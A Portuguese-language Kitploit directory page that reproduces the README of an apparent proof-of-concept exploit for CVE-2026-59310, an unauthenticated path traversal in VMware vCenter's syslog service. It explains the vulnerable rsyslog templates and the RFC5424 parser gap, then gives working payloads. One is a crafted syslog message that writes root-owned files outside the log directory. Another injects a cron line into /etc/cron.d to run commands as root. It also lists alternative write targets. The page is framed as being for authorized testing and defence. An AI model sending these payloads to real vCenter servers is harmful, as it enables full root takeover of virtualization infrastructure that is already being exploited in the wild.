Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-59310-POC — PoC e exploit em Python para CVE-2026-59310, uma path traversal no syslog do VMware vCenter que leva a RCE como root não autenticado via injeção em cron, com orientações de detecção e limpeza. | Kitploit
Ferramentas/GitHubGitHub/chinaran0/cve-2026-59310-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoRed TeamingResposta a IncidentesFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub
5525há 23 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
chinaran0/cve-2026-59310-poc

CVE-2026-59310-POC

PoC e exploit em Python para CVE-2026-59310, uma path traversal no syslog do VMware vCenter que leva a RCE como root não autenticado via injeção em cron, com orientações de detecção e limpeza.

Ver Repositório

CVE-2026-59310 — Path Traversal no Syslog do VMware vCenter resultando em RCE não autenticado

Aviso legal: Este projeto destina-se exclusivamente a testes de segurança autorizados, validação de vulnerabilidades e pesquisa defensiva. Utilize-o apenas em ambientes com autorização escrita explícita. O usuário é o único responsável por quaisquer consequências decorrentes do uso indevido.


Índice

  • Visão geral da vulnerabilidade
  • Versões afetadas
  • Causa da vulnerabilidade
  • Cadeia de exploração
  • Ambiente e validação de reprodução
  • Reprodução com script
  • Detecção e autoverificação
  • Recomendações de correção
  • Perguntas frequentes
  • Links de referência

Visão geral da vulnerabilidade

ItemConteúdo
Nome da vulnerabilidadePath Traversal no Syslog do VMware vCenter
IdentificadorCVE-2026-59310
Tipo de vulnerabilidadePath Traversal → Escrita arbitrária de arquivos → Execução remota de código
CVSS 3.19.8 (Crítico)
Pré-requisito de exploraçãoBasta alcançar a porta syslog (UDP/TCP 514 por padrão), sem qualquer credencial
Consequência da exploraçãoEscrita em caminho arbitrário e execução de código arbitrário com privilégios root
Data de divulgação2026-07-29
Exploração em campoJá observada
Aviso do fornecedorVMSA-2026-0006

O serviço de recepção de syslog integrado do vCenter (rsyslog) utiliza modelos de caminho dinâmico para armazenar logs; o modelo concatena diretamente os campos APP-NAME e HOSTNAME do cabeçalho da mensagem no caminho do arquivo, sem qualquer sanitização de caminho. Um atacante que envie uma mensagem especialmente construída para a porta syslog acessível pode fazer com que o caminho de escrita escape do diretório de logs pretendido, e combinando isso com tarefas agendadas, alcançar execução arbitrária de código.

O vCenter é o centro de gerenciamento de virtualização; uma vez comprometido, equivale à perda de todo o ambiente vSphere / VCF.


Versões afetadas

Versões afetadas (inferiores às versões corrigidas abaixo)

RamoFaixa afetadaVersão corrigida
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100 (Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 versão inicial / U1TodasAtualizar para 8.0 U3k ou superior conforme o caminho suportado
7.0Sem o patch de suporte estendido correspondente instaladoContate a Broadcom para obter o patch ou migre para uma versão suportada

Também afeta: implantações autônomas do vCenter, bem como os componentes vCenter afetados utilizados no VMware Cloud Foundation, VMware vSphere Foundation e VMware Telco Cloud.

Ambiente verificado: VMware vCenter Server 9.0.2.0 / Build 25148086, anterior à versão corrigida 25629525, confirmadamente em estado não corrigido.


Causa da vulnerabilidade

1. Modelo de caminho dinâmico concatena diretamente campos não confiáveis

/etc/rsyslog.conf (configuração padrão de fábrica da VMware):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% é usado simultaneamente como nome de diretório e nome de arquivo, sem sanitização de caminho.

2. Seletor excessivamente permissivo

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

Exige apenas correspondência de prefixo; o atacante pode usar rsyslog/... para acionar essa regra e entrar no modelo de caminho dinâmico.

3. Passagem de caracteres de nova linha (chave para o RCE)

24: $EscapeControlCharactersOnReceive off

As quebras de linha no conteúdo da mensagem são gravadas no disco como estão, permitindo ao atacante controlar a estrutura de linhas do arquivo gravado.

4. Ponto central de contorno: comportamento inconsistente entre os parsers RFC3164 e RFC5424

Este é o ponto mais facilmente negligenciado nesta vulnerabilidade.

  • RFC3164 (pmrfc3164): ao analisar o hostname, utiliza uma lista de caracteres permitidos; / não é permitido por padrão, fazendo com que APP-NAME seja truncado em / → não é possível realizar traversal.
  • RFC5424 (pmrfc5424): APP-NAME é um campo independente separado por espaço, sem validação de lista de caracteres permitidos; / e .. são preservados como estão → é possível realizar traversal.

O lado servidor input(type="imudp" port="514") utiliza o conjunto de regras padrão e também aceita mensagens RFC5424. O atacante só precisa formatar a mensagem no formato RFC5424 para que os caracteres de traversal cheguem diretamente ao caminho do arquivo.

Comparação prática (mesma carga rsyslog/../../../../tmp/x):

ParserValor real de %app-name%
pmrfc3164rsyslog ← truncado em /
pmrfc5424rsyslog/../../../../tmp/x ← preservado integralmente

Evidência adicional: .. puro é criado como nome de diretório literal (por exemplo, rsyslog..), o que indica que a camada omfile do rsyslog não realiza normalização de ..; o que realmente determina o sucesso é se o parser consegue enviar / para o campo.


Cadeia de exploração

① Pacote UDP não autenticado  →  ② APP-NAME RFC5424 carrega traversal  →  ③ Escapa do diretório de logs e escreve arbitrariamente (root)
                                                          ↓
                     ⑤ Execução de código como root  ←  ④ Implanta tarefa agendada em /etc/cron.d

Passos ①②③: Escrita arbitrária de arquivos sem autenticação (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Substituindo no modelo:

Diretório = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
Arquivo   = o mesmo acima + "-syslog.log"                  →  /tmp/PWNED-syslog.log

Resultado: gravação com proprietário root em /tmp/PWNED-syslog.log, com criação automática de diretórios pai inexistentes e conteúdo totalmente controlável.

Passos ④⑤: Da escrita de arquivo ao RCE

O nome do arquivo gravado sempre termina em -syslog.log, impossibilitando sobrescrever diretamente /etc/cron.d/xxx. Porém, com a passagem de nova linha, é possível injetar quebras de linha no MSG, fazendo com que o conteúdo controlável comece na coluna 0 do arquivo:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron reporta "bad minute", ignora
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← executado como linha cron válida
#

O crond agenda e executa como root, obtendo:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Caminhos alternativos de exploração

  • Diretório de recursos estáticos do VAMI: gravar em /opt/vmware/share/htdocs/ (lighttpd escutando na 5480) e depois ler via https://<target>:5480/..., consistente com a descrição do aviso do fornecedor.
  • /var/spool/cron/root: é possível gravar nesse diretório, mas seria necessário um arquivo com o nome root, limitado pelo sufixo -syslog.log, portanto /etc/cron.d/ é mais direto.

Ambiente e validação de reprodução

ItemValor
AlvoVMware vCenter Server 9.0.2.0, Build 25148086
Versão corrigida9.0.2.0100, Build 25629525
rsyslog8.2306.0-4.ph5 (pacote personalizado VMware)
Portas syslogUDP/TCP 514, TCP 1514 (TLS)
Requisito de autenticaçãoNenhum

Resultados da validação

Baixar ferramenta